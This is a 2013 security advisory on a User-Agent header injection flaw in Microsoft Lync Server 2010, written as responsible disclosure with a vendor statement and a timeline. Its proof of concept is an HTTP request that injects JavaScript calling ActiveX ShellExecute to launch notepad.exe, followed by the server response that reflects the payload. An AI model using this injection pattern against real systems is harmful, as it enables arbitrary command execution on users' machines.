Summary
==========
Microsoft Lync 2010 fails to properly sanitize user-supplied input, which can lead to remote code execution.

Microsoft was originally notified of this issue December 11, 2012.

The details of this issue were made public January 11 2013.

CVE number: Not Assigned
Impact: Low
Vendor homepage: http://lync.microsoft.com/
Vendor notified: December 11, 2012
Vendor fixed: N/A
Credit: Christopher Emerson of White Oak Security
(http://www.whiteoaksecurity.com/)

Affected Products
=================
Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0.  Other versions may also be affected.

Details
========
Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the “User-Agent Header” for meet.domainame.com.

By inserting JavaScript into the aforementioned parameters and stacking commands, an attacker can execute arbitrary commands in the context of the application.  

Impact
=======
Malicious users could execute arbitrary applications on the client systems, compromising the confidentiality, integrity and availability of information on the client system.

Solution
========
The vendor should implement thorough input validation in order to remove dangerous characters from user supplied data.  Additionally, the vendor should implement thorough output encoding in order to display, and not execute, dangerous characters within the browser.

Proof-of-Concept (PoC)
===================
The following Request is included as a proof of concept. The proof of concept is designed to open notepad.exe when the Request is received by the server.

GET /christopher.emerson/JW926520 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*

Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
;var oShell = new ActiveXObject("Shell.Application");var commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"
Host: meet.domainname.com
Connection: Keep-Alive
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher

Below is an abbreviated copy of the Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MS-Server-Fqdn: domainname.com
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 20:26:55 GMT
Connection: keep-alive
Content-Length: 23901

<!--NOTE: If DOCTYPE element is present, it causes the iFrame to be displayed in a small-->
<!--portion of the browser window instead of occupying the full browser window.-->
<html xmlns="http://www.w3.org/1999/xhtml" class="reachJoinHtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=10; IE=9; IE=8; requiresActiveX=true" />
<title>Microsoft Lync</title>
<script type="text/javascript">
    var reachURL = "https:// domainname.com/Reach/Client/WebPages/ReachJoin.aspx?xml=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48Y29uZi1pbmZvIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3J0Yy8yMDA5LzA1L3NpbXBsZWpvaW5jb25mZG9jIj48Y29uZi11Y21rLXNpcDpjaHJpc3RvcGhlci5lbWVyc29uQGRvbWFpbm5hbWUuY29tO2dydXU7b3BhcXVlPWFwcDpjb25mOmZvY3VzOmlkOkpXOTI2NTIwPC9jb25mLXVyaT48c2VydmVyLXRpbWU+OTEuODAwNDwvc2VydmVyLXRpbWU+PG9yaWdpbmFsLWluY29taW5nLXVybD5odHRwczovL21lZXQuZG9tYWlubmFtZS5jb20vY2hyaXN0b3BoZXIuZW1lcnNvbi9KVzkyNjUyMDwvb3JpZ2luYWwtaW5jb21pbmctdWNtdy08Y29uZi1rZXk+Slc5MjY1MjA8L2NvbmYta2V5PjwvY29uZi1pbmZiejQh"; var escapedXML = "'\x3c\x3fxml version\x3d\x221.0\x22 encoding\x3d\x22utf-8\x22\x3f\x3e\x3cconf-info xmlns\x3axsi\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema-instance\x22 xmlns\x3axsd\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema\x22 xmlns\x3d\x22http\x3a\x2f\x2fschemas.microsoft.com\x2frtc\x2f2009\x2f05\x2fsimplejoinconfdoc\x22\x3e\x3cconf-uri\x3esip\x3achristopher.emerson\x40 domainname.com\x3bgruu\x3bopaque\x3dapp\x3aconf\x3afocus\x3aid\x3aJW926520\x3c\x2fconf-uri\x3e\x3cserver-time\x3e91.8004\x3c\x2fserver-time\x3e\x3coriginal-incoming-url\x3ehttps\x3a\x2f\x2fmeet.domainname.com\x2fchristopher.emerson\x2fJW926520\x3c\x2foriginal-incoming-url\x3e\x3cconf-key\x3eJW926520\x3c\x2fconf-key\x3e\x3c\x2fconf-info\x3e'";
    var showJoinUsingLegacyClientLink = "False";
    var validMeeting = "True";
    var reachClientRequested = "False";
    var currentLanguage = "en-US";
    var reachClientProductName = "Lync Web App";
    var crackUrlRequest = "True";
    var isNokia = "False";
    var isAndroid = "False";
    var isWinPhone = "False";
    var isIPhone = "False";
    var isIPad = "False";
    var isMobile = "False";
    var isUnsupported = "False";
    var domainOwnerJoinLauncherUrl = "";
    var lyncLaunchLink = "conf&#58;sip&#58;christopher.emerson&#64;domainname.com&#59;gruu&#59;opaque&#61;app&#58;conf&#58;focus&#58;id&#58;JW926520&#37;3Frequired-media&#61;audio";
    var errorCode = "-1";
    var diagInfo = "Machine:MachineNameBrowserId:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
var oShell = new ActiveXObject("Shell.Application");var commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-
"Join attempted at:5/7/2012 3:26:55 PM";
    var resourceUrl = "/meet/JavaScriptResourceHandler.ashx?lcs_se_w14_onprem4.0.7577.197&language=";


Vendor Statement (from Microsoft Security Response Center)
================
The vulnerability described in this report is a XSS vulnerability in the User-Agent which requires an attacker to be in a man-in-the middle situation in order to be able to modify the User-Agent.   In a default configuration of Lync server, TLS encryption is used to protect against this type of attack. Customers concerned about this issue should check their environments to ensure that Lync is configured to use TLS to encrypt all traffic, a default configuration.


Disclosure Timeline
==============
December 11, 2012: Disclosed to vendor (Microsoft Security Response Center).
December 18, 2012: Vendor’s initial response.
December 20, 2012: Vendor deemed issue a Low severity and confirmed issue would be fixed in next product release.
December 27, 2012: Received vendor approval to disclose along with Vendor Statement (see above).
January 11, 2013: Disclosed vulnerability publicly.
Posted
AuthorChristopher Emerson